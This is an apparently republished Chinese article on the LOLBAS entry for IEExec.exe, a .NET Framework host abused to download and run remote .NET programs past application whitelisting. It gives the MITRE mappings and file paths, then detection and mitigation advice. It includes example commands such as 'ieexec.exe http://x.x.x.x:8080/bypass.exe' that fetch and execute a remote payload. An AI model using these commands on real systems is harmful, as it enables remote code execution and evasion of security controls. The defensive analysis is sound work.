☰
LOLBAS 深度解析:利用 IEExec.exe 远程执行 .NET 程序并绕过应用白名单
2026/10/15 14:18:12 网站建设 项目流程
  • 应用安全
  • 渗透测试
  • 红蓝对抗

【免费下载链接】LOLBAS

Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)

项目地址:https://gitcode.com/gh_mirrors/lo/LOLBAS
点击查看免费下载

导读

本文基于 LOLBAS 仓库中 IEExec.exe.md 与结构化条目 Ieexec.yml,深入剖析 Microsoft .NET Framework 附带却从未被正式文档化的宿主程序 IEExec.exe。作为一款典型的 "Living Off The Land"(生活在陆地上)二进制文件,它能让攻击者仅凭一条命令行,即可从远程服务器下载并执行 .NET 可执行文件,在应用白名单(Application Whitelisting)环境下实现代码执行。读完本文,你将掌握 IEExec.exe 的调用语法、适用平台、MITRE ATT&CK 战术映射、检测与防御思路,并理解它为何会被收录进 LOLBAS 项目。

IEExec.exe 是什么:藏在 .NET Framework 里的"未文档化宿主"

根据仓库中 Ieexec.yml 的官方描述:

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

也就是说,IEExec.exe 是随 .NET Framework 一起分发的**未文档化(undocumented)**应用程序,其本质是一个"托管应用宿主(host)":它接受一个 URL 作为参数,将目标托管应用程序(.NET 程序集)作为输入来运行。这意味着用户不需要把可执行文件显式保存到本地磁盘,只要给出一个指向远程 .exe 的 URL,IEExec.exe 就会完成下载并启动执行。

从 LOLBAS 项目的收录标准(见 README.md)来看,一个文件要成为 LOLBin,必须满足:

  • 是微软签名的文件,原生存在于系统中或由微软官方分发;
  • 具有超出其设计意图的"意外"功能;
  • 具备对 APT 或红队有用的能力。

IEExec.exe 恰好全部命中:它由微软随 .NET Framework 分发、带合法签名,而"用 URL 直接运行远程程序"这一能力显然超出了其作为宿主程序的常规使用场景,因此被 Ieexec.yml 收录,作者为 Oddvar Moe(创建于 2018-05-25)。

核心用法:一条命令实现远程代码执行

旧版文档 IEExec.exe.md 给出的命令极其简洁:

ieexec.exe http://x.x.x.x:8080/bypass.exe Executes bypass.exe from the remote server.

结构化条目 Ieexec.yml 用占位符形式规范了参数,使其可以套用任意远程地址:

ieexec.exe {REMOTEURL:.exe}

其中{REMOTEURL:.exe}表示一个以 .exe 结尾的远程 URL。例如:

ieexec.exe http://192.168.1.10:8080/bypass.exe

这条命令的行为链条是:

  1. IEExec.exe 启动,作为 .NET Framework 宿主进程;
  2. 解析传入的 URL,从远程服务器下载目标 .exe 程序集;
  3. 将下载的托管程序集加载进宿主进程并执行。

整个过程不需要把文件先落地到磁盘(至少不需要用户手动落盘),也无需管理员权限。仓库中 Ieexec.yml 记录的关键参数如下:

字段值说明
CategoryDownload / Execute既可作为"下载"(Ingress Tool Transfer)手段,也可直接视为"执行"
PrivilegesUser普通用户权限即可运行
MitreIDT1105 / T1218对应 Ingress Tool Transfer 与 Signed Binary Proxy Execution
OperatingSystemWindows vista / 7 / 8 / 8.1 / 10适用平台(条目记录的版本范围)
TagsExecute: Remote / Execute: EXE (.NET)远程执行、针对 .NET EXE

两个 MitreID 对应的是仓库中收录的两条完全相同的命令记录,分别以 Download(T1105)和 Execute(T1218)两种视角归类——这正体现了同一命令可以被不同的战术阶段复用:攻击者既可以把它视为"把工具传进目标机"的下载手段,也可以视为"绕过白名单执行代码"的执行手段。

为什么能绕过应用白名单:签名二进制代理执行(T1218)

IEExec.exe 的实战价值核心在于应用白名单绕过。在严格配置了 AppLocker 或类似白名单策略的环境中,非白名单的 exe 通常无法直接运行。但 IEExec.exe 本身是微软签名的、位于 .NET Framework 目录下的合法二进制,往往位于白名单允许列表之内。攻击者让白名单内的这个进程去下载并启动一个原本不被允许的.NET 程序集,就完成了"借壳"执行——这正是 MITRE ATT&CK 技术T1218: Signed Binary Proxy Execution(签名二进制代理执行)的定义:利用受信任的签名程序作为代理,去执行任意(可能未签名)的代码。

从 LOLBAS 项目视角看,CategoryList.md 明确列出了 "AWL bypass"(应用白名单绕过)与 "Execute" 两个相关分类,而 IEExec.exe 的这一用法正是"使用签名二进制做代理"这一手法族中的一员。与同仓库记录的 Regsvr32.exe(借助 scrobj.dll 执行远程 .sct 脚本)、Msbuild.exe(借助 .csproj/.xml 执行 C# 项目)相比,IEExec.exe 的差异化特征在于:它直接面向 .NET EXE 程序集,不需要构造 XML、XSLT 或 scriptlet 等中间载荷格式,攻击载荷形态最接近常规的可执行文件。

需要说明的是,IEExec.exe 的这套手法最早由 Casey Smith(Twitter 代号 @subtee)在 2014 年研究并公开,原始分析记录于 room362.com 的相关文章,该资源链接被完整收录在旧版文档 IEExec.exe.md 的 Resources 一节中;Ieexec.yml 的 Acknowledgement 字段也正式向 Casey Smith(@subtee)致谢。

文件位置与新旧版本记录差异

关于 IEExec.exe 的存在位置,仓库中的新旧两份记录给出了互补信息:

旧版文档 IEExec.exe.md 记录:

  • c:\windows\system32\ieexec.exe
  • c:\windows\sysWOW64\ieexec.exe

新版结构化条目 Ieexec.yml 的 Full_Path 字段记录:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

这两组路径可以相互印证:IEExec.exe 隶属于 .NET Framework 2.0(版本目录v2.0.50727)组件,同时存在于 32 位(Framework)与 64 位(Framework64)两套运行时目录中;旧版记录中的system32/sysWOW64路径,则可推断为 Windows 加载器对 .NET Framework 目录中组件的常见映射或旧版系统上的实际落盘位置。在实际环境中,建议按操作系统位数(32/64 位)分别确认本机路径,这一点与仓库中 Ieexec.yml 同时列出两个路径的做法一致。

检测思路:如何发现 IEExec.exe 的异常行为

Ieexec.yml 的 Detection 字段给出了完整的检测线索体系,这也是该条目"防御侧"价值所在:

Sigma 规则:仓库指向了针对 IEExec.exe 下载行为的进程创建检测规则proc_creation_win_lolbin_ieexec_download.yml,其核心关注点是:一个以ieexec.exe命名的进程、携带 URL 形式参数被创建——这是"可信签名二进制 + 可疑命令行"组合的典型进程创建告警模式。

Elastic 检测规则:条目关联了多条 Elastic 规则,主题集中在:

  • 异常进程的网络连接(unusual process network connection);
  • LOLBin 连接互联网(misc_lolbin_connecting_to_the_internet);
  • 来自 Windows 二进制文件的网络连接(network connection from windows binary)。

这几条规则从网络行为维度兜底:无论命令行如何伪装,IEExec.exe 主动向外部地址发起 HTTP 连接这一事实本身,就是强信号。

IOC(入侵指标):条目明确给出 "Network connections originating from ieexec.exe may be suspicious"(来自 ieexec.exe 的网络连接可能可疑)。在正常企业中,.NET Framework 目录下的这个组件几乎不会被业务进程调用,因此出现 ieexec.exe 进程即值得关注,出现 ieexec.exe 对外连接则高度可疑。

从检测工程实践看,可结合 README.md 对项目目标的描述理解这套体系的设计逻辑:LOLBAS 不仅记录"怎么用",更通过 Detection 字段把每一种滥用方式翻译成可落地的检测规则与 IOC,供蓝队(检测方)直接引用。

防御与缓解建议

基于仓库记录的事实,可以给出如下防御思路(以下建议属于基于该条目检测字段的合理推论):

  1. 进程命令行监控:对ieexec.exe的启动事件(进程创建)进行记录与告警,尤其关注命令行中出现http:///https://的情况;
  2. 网络出口管控:限制本机进程对外发起的连接,对 .NET Framework 目录下组件的出站流量建立基线,异常出站即告警;
  3. 白名单策略收紧:在 AppLocker / WDAC 中审慎评估是否允许C:\Windows\Microsoft.NET\Framework*\v2.0.50727\ieexec.exe运行——若业务上确实不需要它,应将其加入阻止列表;
  4. 结合多条规则交叉验证:将 Sigma 进程创建告警与 Elastic 网络连接告警联动,降低误报、提高检出置信度。

小结

IEExec.exe 是 LOLBAS 仓库"签名二进制 + 意外功能"理念的典型样本:一个微软官方分发、从未被正式文档化的 .NET 宿主程序,凭借"以 URL 运行托管程序"的能力,在攻击者手中成为远程代码执行与白名单绕过的杠杆。通过旧版文档 IEExec.exe.md 与新版条目 Ieexec.yml 的对照阅读,可以同时获得命令实操(ieexec.exe {REMOTEURL:.exe})、战术映射(T1218 / T1105)、平台范围(Windows Vista 至 Windows 10)以及完整检测方案(Sigma / Elastic / IOC)。对红队而言它是一条低门槛的载荷投递通道,对蓝队而言"ieexec.exe 进程 + 对外连接"则是最直接的告警触发点——这正是 LOLBAS 项目"记录攻击面、反哺检测"的完整闭环。

  • 应用安全
  • 渗透测试
  • 红蓝对抗

【免费下载链接】LOLBAS

Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)

项目地址:https://gitcode.com/gh_mirrors/lo/LOLBAS
点击查看免费下载

相关推荐

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询